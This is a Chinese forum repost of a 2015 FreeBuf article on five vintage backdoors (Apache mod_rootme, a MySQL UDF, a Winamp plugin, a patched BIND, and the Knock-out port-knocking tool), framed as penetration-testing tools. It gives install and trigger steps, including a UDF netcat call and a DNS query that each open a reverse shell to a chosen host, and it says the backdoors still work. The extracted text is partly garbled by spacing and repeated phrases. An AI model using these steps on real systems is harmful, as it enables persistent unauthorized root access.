搜索

[9330] 2015-09-10_老式后门之美：五种复古远程控制工具

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-17
2015-09-10_老式后门之美：五种复古远程控制工具 老 式 后 门 之 美 ： 五 种 复 古 远 程 控 制 工 具 F r e e B u f   2 0 1 5 - 0 9 - 1 0 目 前 ， 高 级 的 目 前 ， 高 级 的 r o o t k i t 技 术 可 以 帮 助 你 在 渗 透 中 拿 到 一 个 技 术 可 以 帮 助 你 在 渗 透 中 拿 到 一 个 s h e l l 后 进 行 持 久 性 控 制 。 此 外 ， 还 有 供 应 商 故 意 提 供 了 一 些 后 进 行 持 久 性 控 制 。 此 外 ， 还 有 供 应 商 故 意 提 供 了 一 些 植 入 后 门 ， 但 那 就 是 截 然 不 同 的 故 事 了 。 尽 管 各 式 花 样 翻 新 的 技 术 与 代 码 层 出 不 穷 ， 可 你 还 记 得 曾 经 用 过 的 那 些 后 植 入 后 门 ， 但 那 就 是 截 然 不 同 的 故 事 了 。 尽 管 各 式 花 样 翻 新 的 技 术 与 代 码 层 出 不 穷 ， 可 你 还 记 得 曾 经 用 过 的 那 些 后 门 吗 ？ 门 吗 ？ 本 文 介 绍 了 5 种 远 程 控 制 工 具 （ R e m o t e   A d m i n i s t r a t i o n   T o o l s ） R A T   ， 又 称 “ 后 门 ” ， 这 完 全 是 根 据 作 者 个 人 喜 好 挑 选 的 。 这 是 我 进 行 合 法 渗 透 测 试 时 所 使 用 的 工 具 ， 它 们 对 于 验 证 渗 透 的 持 久 性 与 测 量 防 御 手 段 的 有 效 性 提 供 了 重 要 的 帮 助 。 1 . m o d _ r o o t m e — — A p a c h e 模 块 后 门 （ 模 块 后 门 （ 2 0 0 4 ） ） “ m o d _ r o o t m e 是 一 个 非 常 酷 的 模 块 ， 它 可 以 在 A p a c h e 中 安 装 一 个 后 门 ， 你 只 需 要 进 行 一 个 简 单 的 G E T 请 求 ， 就 可 以 拿 到 一 个 r o o t 权 限 的 s h e l l ， 并 且 在 系 统 中 没 有 任 何 日 志 记 录 。 ” 作 为 最 著 名 的 工 具 之 一 ， 你 只 需 要 执 行 一 个 简 单 的 m a k e 命 令 来 编 译 共 享 库 ， 将 它 复 制 到 模 块 目 录 ， 在 h t t p d . c o n f 中 写 入 “ L o a d M o d u l e   r o o t m e 2 _ m o d u l e   / u s r / l i b / a p a c h e 2 / m o d u l e s / m o d _ r o o t m e 2 . s o ” ， 然 后 使 用 ‘ a p a c h e t l   s t o p ; a p a c h e c t l   s t a r t ’ 重 启 h t t p d 后 台 进 程 。 之 后 ， 通 过 “ G E T   r o o t ” 命 令 你 就 得 到 了 一 个 r o o t 权 限 的 s h e l l 。 2 . r a p t o r _ w i n u d f . s q l   — —   M y S Q L   U D F 后 门 （ 后 门 （ 2 0 0 4 - 2 0 0 6 ） ） “ 这 是 一 个 基 于 U D F （ 用 户 定 义 函 数 ） 机 制 的 M y S Q L 后 门 工 具 。 可 以 用 它 来 产 生 一 个 反 弹 s h e l l （ n e t c a t   U D F 监 听 8 0 端 口 ） 或 者 执 行 一 条 系 统 命 令 （ e x e c   U D F ） 。 ”
对 于 这 个 后 门 ， 你 可 以 使 用 一 个 简 单 的 命 令 ‘ # m y s q l   – h   x . x . x . x   <   r a p t o r _ w i n u d f . s q l ’ 将 后 门 作 为 一 个 用 户 定 义 函 数 注 入 到 M y S Q L 中 。 这 样 你 便 可 以 从 M y S Q L   s h e l l 执 行 ‘ m y s q l   >   s e l e c t   e x e c ( ' i p c o n f i g   >   c : o u t . t x t ' ) ; ’ 命 令 。 这 个 反 弹 s h e l l 实 现 了 一 个 有 趣 的 功 能 ， 可 以 使 用 命 令 ‘ m y s q l >   s e l e c t   n e t c a t ( ' y . y . y . y ' ) ; ’ 来 调 用 ， 之 后 就 会 发 送 一 个 交 互 式 s h e l l 在 指 定 的 主 机 （ y . y . y . y ） 的 8 0 端 口 上 。 截 图 来 源 ： i n f a m o u s s y n 3 .   g e t _ w b k d r . d l l 插 件 插 件 — — W i n a m p 播 放 器 后 门 （ 播 放 器 后 门 （ 2 0 0 6 ） ） “ w b k d r 是 非 常 著 名 的 高 保 真 音 乐 播 放 器 软 件 W i n a m p 后 门 的 一 个 P O C ， 它 利 用 了 插 件 接 口 ， 在 2 4 5 0 1 端 口 中 调 用 c m d . e x e 。 ”
4 . B I N D 反 弹 反 弹 s h e l l 后 门 （ 后 门 （ 2 0 0 5 ） ） B I N D 是 世 界 上 最 流 行 的 D N S 服 务 器 软 件 之 一 。 这 个 后 门 使 用 了 B I N D 未 发 布 的 补 丁 ， 是 我 的 一 个 来 自 阿 根 廷 的 朋 友 开 发 的 。 基 本 上 ， 需 要 你 以 r o o t 用 户 的 身 份 来   打 补 丁 、 编 译 以 及 运 行 服 务 。 一 旦 运 行 ， 用 ‘ n s l o o k u p   b a c k d o o r p a s s w o r d : x . x . x . x : p o r t t a r g e t _ D N S _ s e r v e r ’   发 送 一 个 D N S 请 求 ， 将 会 在 主 机 x . x . x . x 的 给 定 端 口 上 触 发 一 个 反 弹 s h e l l 。 5 . K n o c k - o u t — —   基 于 端 口 敲 门 （ 基 于 端 口 敲 门 （ p o r t - k n o c k i n g ） 的 后 门 ） 的 后 门 这 是 我 使 用 数 据 包 嗅 探 库 l i b p c a p （ 服 务 器 ） 和 数 据 包 构 造 库 l i b n e t （ 客 户 端 ） 制 作 的 后 门 。 我 运 用 了 端 口 敲 门 技 术 ， 它 可 以 是 一 个 绑 定 端 口 的 s h e l l 也 可 以 是 一 个 反 弹 型 的 s h e l l 。 服 务 器 与 客 户 端 使 用 相 同 的 配 置 文 件 来 决 定 使 用 哪 些 端 口 以 及 发 送 每 个 网 络 包 时 间 所 需 要 的 时 间 差 。 K n o c k - o u t 支 持 T C P 和 U D P ， 并 且 最 近 在 L i n u x 主 机 中 仍 然 可 以 工 作 （ 测 试 系 统 U b u n t u   S e r v e r   1 4 . 0 4 ） 。
作 者 寄 语 作 者 寄 语 这 些 后 门 至 今 仍 然 有 效 ， 或 许 你 可 以 尝 试 一 下 。 同 时 ， 我 鼓 励 大 家 与 我 们 分 享 你 见 过 的 有 趣 的 后 门 、 你 喜 欢 的 后 门 、 你 用 过 的 最 特 别 的 后 门 以 及 你 所 钟 爱 的 后 门 。 别 忘 了 在 T w i t t e r 上 使 用 # o l d s c h o o l b a c k d o o r s （ 老 式 后 门 ） 标 签 ！ < 下 载 链 接 及 更 多 详 情 请 点 击 查 看 原 文 > *   参 考 来 源 ： i o a c t i v e ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ) 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理